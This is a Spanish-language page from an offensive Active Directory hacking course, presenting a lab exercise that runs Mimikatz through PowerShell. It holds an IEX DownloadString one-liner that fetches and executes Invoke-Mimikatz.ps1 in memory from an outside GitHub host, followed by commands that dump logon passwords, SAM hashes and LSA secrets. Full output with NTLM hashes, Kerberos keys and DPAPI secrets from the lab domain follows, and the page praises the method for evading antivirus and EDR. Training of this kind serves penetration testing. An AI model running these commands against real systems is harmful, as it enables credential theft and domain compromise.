Hacking en Active Directory - [CPAD-100]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ACTIVE DIRECTORY
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
      • ¿Que Significa CPAD-100?
  • Introducción a Directorio Activo – (AD)
    • Fundamentos de AD
    • Componentes importantes de un Active Directory
    • Principales conceptos de un Directorio Activo
      • Diferencias entre GPO y ACL
    • ¿Por qué los atacantes van tras los controladores de dominio?
      • Ransomware en AD
    • Introduccion a Kerberos
      • Capa de transporte
      • Agentes
      • Claves de cifrado
      • Tickets
      • Privilege Attribute Certificate (PAC)
      • Mensajes
    • Proceso de autenticación en Kerberos
      • Kerberos Explicado con Parques y Atracciones
    • ¿Como funciona Kerberos?
    • S4U (Service for User)
    • Usuarios y grupo por defectos en AD
    • Biblia de comandos para el CPAD
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
    • Instalacion de Kali Linux
      • Utilizando IP publica para auditorias reales
    • Transferencias de archivos
    • Cyber Kill Chain
    • MITRE
      • Ejemplo teorico
  • Enumeracion Externa
    • Credenciales expuestas
    • La importancia de la enumeracion en un red team
    • Reconocimiento y Recopilacion
    • Activos de informacion publicos
      • DNS records
      • Redes sociales
  • Vectores de ataque fisico
    • Physical Red Team Operations
    • Que es la intrusion fisica
      • Vectores de ataque
    • Rubber Ducky
    • Stuxnet
    • Introduccion a Flipper Zero
      • BadUSB
  • Introduccion Al Hacking Web
    • Tu primer Red Team contra Active Directory
      • Objetivos
      • CyberKillChain en CPAD
    • La importancia del hacking web en un red team contra AD
    • Curso gratuito con los labs de PortSwigger
    • Enumeracion sobre un servidor web desplegado en IIS
    • Inyeccion de comandos desde un formulario web
  • Post-explotacion en windows
    • Fundamentos de la Enumeracion local en un Windows
    • Enumeracion basica desde una WebShell
    • Fundamentos de escalacion de privilegios en Windows
      • ¿Que son altos privilegios en windows?
      • ¿Que son bajos privilegios en windows?
      • Identificando mis privilegios actuales
      • Tokens de acceso en Windows
      • Niveles de integridad en procesos de Windows
    • Privilegios en Windows
    • Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege
    • Introduccion al Curso Profesional de Pentesting contra Windows - [CPPW]
    • NT AUTHORITY\SYSTEM
    • Reverse Shell en PowerShell Indetectable
      • Introduccion al Curso RedTeam Ops Developer Senior
    • Migracion de WebShell a BurpSuite
    • Migracion de WebShell a Reverse Shell via PowerShell
    • Diferencia entre una WebShell y Reverse Shell
    • Introducción a PowerUp
    • Introducción a WinPEAS
  • Persistencia en Windows Local
    • Introduccion a la post-explotación y persistencia en Windows
    • Creacion de usuarios con net
    • Qué es Mimikatz
      • LSASS
      • Extraccion de credenciales con Mimikatz con binario
      • Extraccion de credenciales con Mimikatz con PowerShell
      • Resolucion de errores con Mimikatz
      • Mimikatz en la actualidad
  • Enumeracion en AD
    • Identificando un Domain Controller (DC) en red
    • ActiveDirectoryRights en el Contexto de Red Team
    • Enumeracion manual con GUI
    • Enumeracion con PowerShell ofensivo
      • Guia de comandos de PowerView.ps1
        • Enumeracion de usuarios
        • Enumeracion de Grupos
        • Enumeracion de Computadores
        • Enumeracion de GPO
        • Enumeracion de ACL
      • Utilizando ADPeas
    • Enumeracion con AD Module DLL
    • Enumeracion con BloodHound
    • Enumeracion con klist
    • Security Identifiers (SIDs)
    • Distinguished Name o DN
  • Vulnerabilidades y ataques en AD
    • Fundamentos de vulnerabilidades en AD
    • Password Spraying
      • La importancia de generar contraseñas personalizadas
      • Kerbrute
    • Relay Attacks
      • ¿Que es NTLM?
      • Utilizando impacket-ntlmrelayx
        • Análisis de impacket-ntlmrelayx
    • Credenciales en descripcion
      • Utilizando CrackMapExec
      • Utilizando BloodHound
    • Kerberoasting
      • Utilizando BloodHound
      • Utilizando Rubeus
      • Utilizando Impacket-GetUserSPNs
      • Utilizando CrackMapExec
      • Utilizando PowerView
    • ASREProastable
      • Utilizando Rubeus
      • Utilizando CrackMapExec
      • Utilizando Impacket-GetNPUsers
      • CVE-2022-33679
    • Unconstrained Delegation
      • TrustedToAuthForDelegation vs TrustedForDelegation
    • Constrained Delegation
      • Usuario
      • Computadora
        • Utilizando Rubeus
    • DnsAdmins
      • Utilizando PowerView.ps1
      • Utilizando NET
      • Cargando una dll maliciosa con dnscmd
      • Generando una DLL maliciosa
    • LAPS Reader
    • (RBCD) Resource-based constrained
    • Abuso de ACL
      • Enumeracion con PowerView
      • Tipos de permisos
        • Tabla de Referencia de Permisos y Derechos en Active Directory
      • Access Control Entry (ACE)
      • WriteDacl sobre Computador
      • GenericAll sobre Grupo
      • GenericAll sobre usuario
      • GenericWrite sobre computador
    • Abuso de GPO
      • ¿Qué es SysVol?
      • Utilizando PowerView
      • Solicitando TGT para el usuario gpowrite.user
      • Utilizando SharpGPOAbuse
      • Forzando la actualizacion de GPO
    • Zerologon - CVE-2020-1472
  • Movimiento lateral
    • Fundamentos de movimiento lateral en AD
    • Impersonation
    • Pass-the-Hash (PtH)
      • Identificando servicios para realizar el PTH
      • Utilizando Evil-WinRm
      • Utilizando impacket-psexec
      • Utilizando RDP
  • Persistencia y post-explotacion en AD
    • Fundamentos de persistencia y la post-explotación en AD
    • DCSync
      • Extracción de Credenciales del Dominio de Active Directory
      • Utilizando CrackMapExec
      • Utilizando Mimikatz
      • Utilizando Impacket-secretsdump
    • Creacion de usuarios en el dominio con net
    • Silver Ticket
      • Service Principal Name (SPN)
      • Silver Ticket para CIFS
    • Golden Ticket
      • Diferencias entre Silver Ticket y Golden Ticket
      • ¿Que es KRBTGT?
      • Variantes del Golden Ticket
        • Golden Ticket tradicional utilizando Mimikatz
        • Golden Ticket Inter-realm TGT
    • Pass The Ticket
      • PTT en Linux
      • PTT en Windows
    • Diamond Ticket
    • Bosques y relaciones de confianza
      • TrustAttributes y TrustType
      • Enumeracion utilizando ADPeas.ps1
      • Enumeracion utilizando nltest
      • Enumeracion utilizando .NET Framework
      • Enumeracion utilizando con PowerView
      • Enumerando con SharpHound
  • Introduccion a la evasion de defensas
    • Fundamentos de evasión de defensas
    • Introduccion a UAC
      • Bypass UAC utilizando FodhelperUACBypass.ps1
      • Bypass utilizando Kerberos y SMBExec
    • Evasión de antivirus
      • Utilizando HoaxShell
    • Introduccion a LOLBAS
    • AMSI para Hackers
    • Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas
    • Codificando tus comandos de PowerShell en base64
      • Transferencia de archivos con base64
    • Política de ejecución de PowerShell
    • Introduccion a Sysinternals
    • Introduccion a AppLocker
    • Apagando defensas basicas
  • Introduccion a ataques modernos en AD
    • Fundamentos de Azure Active Directory
    • DCSync utilizando MSOL
    • Introduccion al Curso de Pentesting Contra Azure - [CPAZ]
  • Introduccion al Blue Team en Active Directory
    • Blue Team y SOC
    • Introduccion al Curso Profesional de Blue Team - [CPBLT]
    • Introduccion a Sysmon
      • Deteccion de comportamiento anomalo con ElasticSearch
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página
  • Pros y Contras de ejecutar Mimikatz con mimikatz.ps1
  • Pros
  • Contras

¿Te fue útil?

  1. Persistencia en Windows Local
  2. Qué es Mimikatz

Extraccion de credenciales con Mimikatz con PowerShell

AnteriorExtraccion de credenciales con Mimikatz con binarioSiguienteResolucion de errores con Mimikatz

Última actualización hace 1 año

¿Te fue útil?

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: . ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #7:

Utilizar mimikatz en formato de powershell sobre Windows para exfiltrar secretos. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

Pros y Contras de ejecutar Mimikatz con mimikatz.ps1

Pros

  • Evasión: La versión de PowerShell puede ser más sigilosa, evadiendo mejor la detección de antivirus y soluciones EDR que buscan hashes de archivos conocidos.

  • Flexibilidad: Puede ser más fácil de ejecutar en memoria sin necesidad de escribir en el disco, lo cual es menos intrusivo y reduce la huella en el sistema de la víctima.

  • Integración: Se integra bien con otras herramientas y scripts de PowerShell, facilitando su uso en cadenas de ataque complejas.

Contras

  • Funcionalidad Limitada: Puede no tener todas las funciones que la versión completa .exe ofrece.

  • Logging de PowerShell: Las versiones más recientes de Windows tienen mejoras en el registro de actividades de PowerShell, lo que podría dejar rastros para los equipos de respuesta a incidentes.

  • Bloqueo de Scripts: Las políticas de ejecución de scripts y restricciones de firmas digitales pueden bloquear la ejecución de scripts PowerShell no firmados.

Los comandos utilizados son:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');
Invoke-Mimikatz -Command '"token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets"'

Despues de su ejecuccion, vamos obtener lo siguiente:

PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');
PS C:\Windows\system32> Invoke-Mimikatz -Command '"token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Jul 24 2021 11:00:11
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

712     {0;000003e7} 1 D 20573          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;004ee8fb} 3 F 8116142     WEBSERVER\gerh  S-1-5-21-35825707-945739770-2891244367-1000     (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 8192060     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

mimikatz(powershell) # lsadump::sam
Domain : WEBSERVER
SysKey : ea7b3f466f263386e6dc165bcde0d1d2
Local SID : S-1-5-21-35825707-945739770-2891244367

SAMKey : 0f38480331d27a37fb84a64691c96638

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: f47f6266f4bb428db65cd949e7537f52

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 95278d33a26e8418cde3b6bc618d5d4c

* Primary:Kerberos-Newer-Keys *
    Default Salt : EC2AMAZ-N0S1NB6Administrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 487149fe0751036e0aa497d82728570248f671894c39912e818bc058546478da
      aes128_hmac       (4096) : 95f019490c136ba744dd27b3248d862d
      des_cbc_md5       (4096) : 264a2c3df40ba886
    OldCredentials
      aes256_hmac       (4096) : 27d1fe245f22752ae07fa19e6c4cb8c9a711d23fa43041c3eba9dea1c46879f4
      aes128_hmac       (4096) : 2881481a8717f3d3a4377847a1099566
      des_cbc_md5       (4096) : 76315edf8a0191ea
    OlderCredentials
      aes256_hmac       (4096) : 7e16bff797907f940783a6315b3ab4bd398542aabf2bc888506bce52b0961cf4
      aes128_hmac       (4096) : e87a3a66df7112bf158fd184ffa88547
      des_cbc_md5       (4096) : 4a43754f1c08dca7

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : EC2AMAZ-N0S1NB6Administrator
    Credentials
      des_cbc_md5       : 264a2c3df40ba886
    OldCredentials
      des_cbc_md5       : 76315edf8a0191ea


RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: d7da45674bae3a0476c0f64b67121f7d

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : be9923d30a0cdf3a73493d7d32eb96e4

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c5a174bdaaf42f78aea168d2bb0736459de5ad0b5051997187d8b86f7af8ee69
      aes128_hmac       (4096) : 17456060abe8c50bc7ec5474e44d0ae4
      des_cbc_md5       (4096) : 5e435ecec4efbfdc

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : 5e435ecec4efbfdc


RID  : 000003e8 (1000)
User : gerh
  Hash NTLM: ac1dbef8523bafece1428e067c1b114f
    lm  - 0: aea79244552e7a42ffb10c37ee4b914d
    ntlm- 0: ac1dbef8523bafece1428e067c1b114f

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : eb9625a5e81c8b770853d14b69b85776

* Primary:Kerberos-Newer-Keys *
    Default Salt : WEBSERVER.SPARTANCYBERSEC.CORPgerh
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 7d2f3fba7b830054393b17c51e40e28528a485c945f60888ca71f0bf6a377de6
      aes128_hmac       (4096) : 596354e6b4ef07925f24f7b617782c4f
      des_cbc_md5       (4096) : 20add654cd864c7a

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WEBSERVER.SPARTANCYBERSEC.CORPgerh
    Credentials
      des_cbc_md5       : 20add654cd864c7a


mimikatz(powershell) # lsadump::secrets
Domain : WEBSERVER
SysKey : ea7b3f466f263386e6dc165bcde0d1d2

Local name : WEBSERVER ( S-1-5-21-35825707-945739770-2891244367 )
Domain name : SPARTANCYBERSEC ( S-1-5-21-1861162130-2580302541-221646211 )
Domain FQDN : spartancybersec.corp

Policy subsystem is : 1.18
LSA Key(s) : 1, default {140c9bf8-da47-a27f-96d7-2b5527fd404e}
  [00] {140c9bf8-da47-a27f-96d7-2b5527fd404e} d51da8d90b5e95219f57070b04e71dfb6e95fc27241437fc8ef876b3c2ff43a6

Secret  : $MACHINE.ACC
cur/hex : de ce 87 d1 ac 7b 8a ff c5 3b db 11 1d bd 9f 81 ca 32 f1 c5 cc 3f 89 cc 95 80 7a 97 1c 5d 2d 8b 28 af 7d 25 1a 53 7e b9 5c b9 2a 23 6a fb ca bb 9e 20 16 d4 3c f6 7e b4 b4 76 48 c6 b7 10 25 9a 07 b5 07 b2 7f d2 b1 b0 a1 b0 f9 ce a1 92 a7 26 3d 0d ff ca d8 16 5b 60 9d 20 64 ea d9 0b f5 5a c0 0f 79 1f a0 b4 e3 43 cd 63 d1 ec 14 f8 5d bb 4c e0 22 da 1e 83 6f 1a eb 39 82 cd 45 97 23 ea a4 ef d0 52 72 96 cb a1 f5 1c 07 ea ef cb 45 17 7b 5a f0 0b 8b 57 bb 8f 1e 35 2f f3 55 57 61 5b 4f 12 2f 51 11 c2 1b 60 59 39 c6 df 0c 06 9b 11 db 70 92 9e 90 6b 6c 49 f8 f7 d4 af 4c 86 21 87 e4 ea 57 50 a6 b7 87 ad 4d 61 c5 b0 35 84 79 c6 9d 26 8f a7 0f e7 3a e3 fb 34 24 88 27 fd c5 ae d5 61 67 1e eb 78 a7 05 dc 38 9a 9c 72 0a 44 cc
    NTLM:7d0c4cdc32724b99ef4459147401471a
    SHA1:cd54e4ac32cca2e2ad07df657a832d9ee1cabe04
old/text: Z`#z8G1g` C?s\`w5.#dP.ZE2b2IJ,eq/3HDbF>x6_Rzcae7:Y#'zDSKZ7p!^UP<2/t;UJf]h Aq2%&66=["R( 9nTwg$4@wp]iyUO@anq,'z]b*wP<7xo%[
    NTLM:84d10e4ababc50787bb4a8fdd41dfd12
    SHA1:8776b75a42d483e1c556999310cf88fd19ddbd87

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 91 be 0d 0d 7a 07 12 fc 89 cd eb f3 39 1e 99 37 6b 34 ac d1 b5 b9 27 6f 74 f7 bb 7f 9b 8c 21 e6 39 98 83 e7 19 c4 ef f4
    full: 91be0d0d7a0712fc89cdebf3391e99376b34acd1b5b9276f74f7bb7f9b8c21e6399883e719c4eff4
    m/u : 91be0d0d7a0712fc89cdebf3391e99376b34acd1 / b5b9276f74f7bb7f9b8c21e6399883e719c4eff4
old/hex : 01 00 00 00 3f 58 17 78 dc 26 36 52 37 eb 61 20 87 07 4c 73 40 d8 73 7d 36 32 97 aa 29 58 8c 35 f7 07 26 34 80 42 33 16 9f 13 c7 b9
    full: 3f581778dc26365237eb612087074c7340d8737d363297aa29588c35f7072634804233169f13c7b9
    m/u : 3f581778dc26365237eb612087074c7340d8737d / 363297aa29588c35f7072634804233169f13c7b9

Secret  : NL$KM
cur/hex : b6 96 c7 7e 17 8a 0c dd 8c 39 c2 0a a2 91 24 44 a2 e4 4d c2 09 59 46 c0 7f 95 ea 11 cb 7f cb 72 ec 2e 5a 06 01 1b 26 fe 6d a7 88 0f a5 e7 1f a5 96 cd e5 3f a0 06 5e c1 a5 01 a1 ce 8c 24 76 95
old/hex : b6 96 c7 7e 17 8a 0c dd 8c 39 c2 0a a2 91 24 44 a2 e4 4d c2 09 59 46 c0 7f 95 ea 11 cb 7f cb 72 ec 2e 5a 06 01 1b 26 fe 6d a7 88 0f a5 e7 1f a5 96 cd e5 3f a0 06 5e c1 a5 01 a1 ce 8c 24 76 95

Uno de los hallazgos mas relevantes de la salida previa es el hash NTLM del administrador que es:

f47f6266f4bb428db65cd949e7537f52

El hash NTLM (NT LAN Manager) es una función hash utilizada por Microsoft para almacenar contraseñas de usuario. Es un método de cifrado que ha sido utilizado en varios protocolos de autenticación de Microsoft a lo largo de los años, incluidos los protocolos de autenticación de red como NTLMv1 y NTLMv2.

Características y detalles sobre el hash NTLM:

  1. Forma de Creación: El hash NTLM se crea tomando la contraseña del usuario, convirtiéndola a Unicode y luego aplicando una función hash MD4.

  2. No tiene SALT: A diferencia de otros métodos de almacenamiento de contraseñas, el hash NTLM no utiliza un "salto" (valor aleatorio agregado para hacer que el hashing sea más seguro). Esto lo hace vulnerable a ataques de fuerza bruta y a ataques de tabla arco iris, donde los atacantes usan tablas precomputadas para buscar rápidamente el valor original de un hash.

  3. Uso en Protocolos: Aunque NTLM ha sido reemplazado en gran medida por métodos más seguros como Kerberos en entornos modernos de Active Directory, todavía se encuentra en muchas redes debido a la retrocompatibilidad o configuraciones heredadas.

  4. Vulnerabilidades: Debido a sus debilidades inherentes y la falta de características de seguridad modernas, NTLM es susceptible a una variedad de ataques, como el mencionado ataque de tabla arco iris, ataques de relevo NTLM, y otros.

  5. Recomendación: Debido a las debilidades conocidas asociadas con NTLM, se recomienda deshabilitar su uso siempre que sea posible, en favor de protocolos de autenticación más seguros como Kerberos.

https://wa.link/j265a0